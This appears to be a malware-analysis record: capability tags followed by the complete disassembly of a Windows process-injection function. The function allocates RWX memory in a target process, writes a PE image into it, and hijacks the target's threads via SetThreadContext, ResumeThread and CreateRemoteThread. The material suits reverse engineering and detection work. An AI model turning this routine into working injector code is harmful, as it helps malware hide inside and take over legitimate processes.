Function at 0x407e70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Enumerate pe sections
Enumerate processes
Execute shellcode via indirect call
Extract resource via kernel32 functions
Get file size
Inject thread
Read file on windows
Resolve function by parsing pe exports
Resume thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x394
mov eax, dword [0x421214]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x3a4]
mov dword [esp + 0x39c], eax
cmp dword [esi], 0
push edi
mov dword [esp + 0x24], 0
jne 0x407f51
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
test edi, edi
je 0x407f35
lea eax, [esp + 0xd4]
push eax
push edi
mov dword [esp + 0xdc], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x407f35
mov edi, edi
mov ecx, dword [esi + 4]
push ecx
lea edx, [esp + 0xfc]
push edx
call fcn.004090c0
add esp, 8
test eax, eax
jne 0x407f16
lea eax, [esp + 0xd4]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x407ed0
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
mov ecx, dword [esp + 0x390]
call fcn.004086af
add esp, 0x394
ret
mov ecx, dword [esp + 0xdc]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebp, eax
test ebp, ebp
jne 0x408018
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
mov ecx, dword [esp + 0x390]
call fcn.004086af
add esp, 0x394
ret
mov ebx, dword [esi + 4]
lea edx, [esp + 0xd4]
mov eax, ebx
sub edx, ebx
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x407f60
lea eax, [esp + 0xd4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407f74
sub eax, edx
je 0x407f97
mov cl, 0x5c
cmp byte [esp + eax + 0xd4], cl
je 0x407f8f
dec eax
jne 0x407f81
jmp 0x407f97
mov byte [esp + eax + 0xd5], 0
xor edx, edx
mov dword [esp + 0x34], edx
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x90]
rep stosd dword es:[edi], eax
mov dword [esp + 0x38], edx
mov dword [esp + 0x3c], edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x94]
push ecx
mov dword [esp + 0x48], edx
lea edx, [esp + 0xdc]
push edx
push 0
push 0x24
push 1
push 0
push 0
push 0
push ebx
mov dword [esp + 0xb8], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebp, dword [esp + 0x34]
test ebp, ebp
mov eax, dword [esp + 0x38]
mov dword [esp + 0x24], eax
jne 0x408018
pop edi
pop esi
pop ebp
mov eax, 6
pop ebx
mov ecx, dword [esp + 0x390]
call fcn.004086af
add esp, 0x394
ret
mov eax, dword [esi + 8]
test eax, eax
jne 0x408095
mov ecx, dword [esi + 0xc]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40805e
pop edi
pop esi
pop ebp
mov eax, 2
pop ebx
mov ecx, dword [esp + 0x390]
call fcn.004086af
add esp, 0x394
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.00408e42
add esp, 4
test eax, eax
mov dword [esp + 0x1c], eax
je 0x408278
push 0
lea edx, [esp + 0x74]
push edx
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi + 8], 1
jne 0x4080fe
mov eax, dword [esi + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [esi + 0xc]
push ecx
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test ebx, ebx
mov edi, eax
je 0x408243
test edi, edi
je 0x408243
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
mov esi, eax
call fcn.00408e42
add esp, 4
test eax, eax
mov dword [esp + 0x1c], eax
je 0x408278
mov ecx, edi
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x3a8]
cmp dword [esi + 8], 2
jne 0x408139
mov eax, dword [esi + 0x10]
push eax
call fcn.00408e42
add esp, 4
test eax, eax
mov dword [esp + 0x1c], eax
je 0x408278
mov ecx, dword [esi + 0x10]
mov esi, dword [esi + 0xc]
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x3a8]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040908b
mov al, byte [esi + 0x14]
xor ebx, ebx
add esp, 4
test al, 2
mov dword [esp + 0x30], ebx
je 0x408172
call fcn.0040909d
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul qword [0x41c308]
fimul dword [esi + 0x18]
call fcn.00409206
mov ebx, eax
test byte [esi + 0x14], 4
je 0x408197
call fcn.0040909d
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul qword [0x41c308]
fimul dword [esi + 0x18]
call fcn.00409206
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
mov esi, dword [eax + ecx + 0x50]
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x3a8]
mov cl, byte [eax + 0x14]
mov dword [esp + 0x28], esi
add esi, edx
mov edx, dword [esp + 0x3b4]
and ebx, 0xfffffff0
add esi, ebx
add esi, edx
test cl, 1
je 0x40825f
xor edi, edi
nop
push 0x40
push 0x1000
push esi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + edi*4 + 0xd4], eax
inc edi
cmp edi, 0x80
jl 0x4081d0
call fcn.0040909d
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fmul qword [0x41c308]
fmul qword [0x41c300]
call fcn.00409206
mov edi, eax
xor esi, esi
cmp esi, edi
je 0x40822d
mov ecx, dword [esp + esi*4 + 0xd4]
push 0x8000
push 0
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
inc esi
cmp esi, 0x80
jl 0x408213
mov eax, dword [esp + edi*4 + 0xd4]
mov dword [esp + 0x20], eax
jmp 0x408274
pop edi
pop esi
pop ebp
mov eax, 4
pop ebx
mov ecx, dword [esp + 0x390]
call fcn.004086af
add esp, 0x394
ret
push 0x40
push 0x1000
push esi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x20], eax
test eax, eax
jne 0x408294
pop edi
pop esi
pop ebp
mov eax, 5
pop ebx
mov ecx, dword [esp + 0x390]
call fcn.004086af
add esp, 0x394
ret
push 0x1c
lea edx, [esp + 0x78]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov eax, dword [esp + 0x80]
mov edi, eax
push eax
mov dword [esp + 0x30], edi
call fcn.00408e42
mov esi, eax
mov ecx, edi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x20]
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [edx + 0x3c]
movzx ecx, word [eax + edx + 6]
add eax, edx
mov dword [esp + 0x14], ecx
mov ecx, dword [eax + 0x54]
mov eax, ecx
shr ecx, 2
mov dword [esp + 0x18], esi
lea edi, [esi + ebx]
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [edx + 0x3c]
lea eax, [edx + ecx + 0xf8]
mov ecx, dword [esp + 0x14]
add esp, 4
test ecx, ecx
jle 0x40834c
add eax, 0x14
mov dword [esp + 0x18], ecx
jmp 0x408320
mov edx, dword [esp + 0x1c]
lea ebx, [ebx]
mov esi, dword [eax]
mov edi, dword [eax - 8]
mov ecx, dword [eax - 4]
add esi, edx
add edi, dword [esp + 0x14]
mov edx, ecx
shr ecx, 2
add edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
add eax, 0x28
dec ecx
mov dword [esp + 0x18], ecx
jne 0x408316
mov eax, dword [esp + 0x3a8]
test byte [eax + 0x14], 2
je 0x408371
xor edi, edi
test ebx, ebx
jbe 0x408371
nop
call fcn.0040909d
mov ecx, dword [esp + 0x14]
mov byte [edi + ecx], al
inc edi
cmp edi, ebx
jb 0x408360
mov edx, dword [esp + 0x3a8]
test byte [edx + 0x14], 4
mov esi, dword [esp + 0x28]
je 0x4083a5
mov eax, dword [esp + 0x2c]
lea edi, [esi + ebx]
cmp edi, eax
jae 0x4083a5
lea ecx, [ecx]
call fcn.0040909d
mov ecx, dword [esp + 0x14]
mov byte [edi + ecx], al
mov eax, dword [esp + 0x2c]
inc edi
cmp edi, eax
jb 0x408390
push 0x40
push 0x1000
push 0x400
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x18], eax
xor eax, eax
push 0x41c2f0
mov ecx, 0xb
lea edi, [esp + 0x48]
push str.kernel32.dll
rep stosd dword es:[edi], eax
call fcn.00407840
push 0x41c2d0
push str.kernel32.dll
mov dword [esp + 0x54], eax
call fcn.00407840
push 0x41c2bc
push str.kernel32.dll
mov dword [esp + 0x60], eax
call fcn.00407840
mov edx, dword [esp + 0x38]
mov edi, dword [esp + 0x3cc]
mov dword [esp + 0x64], eax
lea eax, [edx + ebx]
mov dword [esp + 0x68], eax
mov dword [esp + 0x70], eax
mov eax, 1
xor ecx, ecx
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x3c0]
mov edx, dword [eax + 0x14]
add esp, 0x18
cmp edi, ecx
mov dword [esp + 0x54], esi
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x68], edx
mov dword [esp + 0x6c], ecx
jbe 0x40847e
xor eax, eax
cmp edi, ecx
jbe 0x408472
mov ecx, dword [esp + 0x14]
add ecx, esi
add ecx, ebx
jmp 0x408460
mov edx, dword [esp + 0x3b0]
mov dl, byte [eax + edx]
mov byte [ecx + eax], dl
inc eax
cmp eax, edi
jb 0x408460
mov eax, dword [esp + 0x20]
add eax, esi
add eax, ebx
mov dword [esp + 0x5c], eax
push 0x40
push 0x1000
push 0x2c
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x2c
lea ecx, [esp + 0x4c]
push ecx
mov edi, eax
push edi
push ebp
call esi
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
push 0
push edx
push eax
push ecx
push ebp
call esi
mov edx, dword [esp + 0x3a8]
cmp dword [edx], 1
jne 0x4085ac
mov eax, dword [esp + 0x18]
push 0
push 0x400
push 0x407a50
push eax
push ebp
call esi
mov ecx, dword [esp + 0x18]
push 0x40
push 0x1000
push 0xf
push 0
push ebp
mov dword [0x421002], edi
mov dword [0x421007], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push 0xf
push section..data
push eax
push ebp
mov dword [esp + 0x24], eax
call esi
mov eax, dword [esp + 0x24]
lea edx, [esp + 0xd4]
push edx
push eax
mov dword [esp + 0xdc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esp + 0x198]
push 0
push 4
lea ecx, [esp + 0x194]
sub eax, 4
push ecx
push eax
push ebp
mov dword [esp + 0x1ac], eax
call esi
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x10]
lea eax, [esp + 0xd4]
push eax
push ecx
mov dword [esp + 0x194], edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x6c]
test eax, eax
jne 0x408599
push 0
push 0x2c
lea eax, [esp + 0x4c]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [esp + 0x6c]
test eax, eax
je 0x408580
mov ecx, dword [esp + 0x10]
push 0x8000
push 0
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [esp + 0x3a8]
cmp dword [edx], 0
jne 0x4085fa
mov eax, dword [esp + 0x18]
push 0
push 0x400
push 0x407c60
push eax
push ebp
call esi
mov ecx, dword [esp + 0x18]
push 0
push 0x80
push edi
push ecx
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x408600
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x3ac]
test eax, eax
je 0x408655
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x20]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x14]
add edx, ebx
mov dword [eax + 4], ecx
mov dword [eax], ebp
mov edx, dword [edx + 0x3c]
add edx, dword [esp + 0x14]
mov edx, dword [edx + ebx + 0x28]
add edx, ecx
add edx, ebx
mov dword [eax + 0xc], edx
mov edx, dword [esp + 0x28]
mov dword [eax + 0x10], edx
lea edx, [ecx + ebx]
mov dword [eax + 0x14], edx
mov edx, dword [esp + 0x28]
add ecx, edx
add ecx, ebx
mov dword [eax + 0x18], ecx
mov ecx, dword [esp + 0x30]
mov dword [eax + 0x1c], ebx
mov dword [eax + 0x20], ecx
push ebp
call esi
mov edx, dword [esp + 0x24]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call fcn.00408cf9
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00408cf9
mov edx, dword [esp + 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
add esp, 8
push 0x8000
push 0
push edx
push ebp
call esi
push 0x8000
push 0
push edi
push ebp
call esi
mov ecx, dword [esp + 0x3a0]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.004086af
add esp, 0x394
ret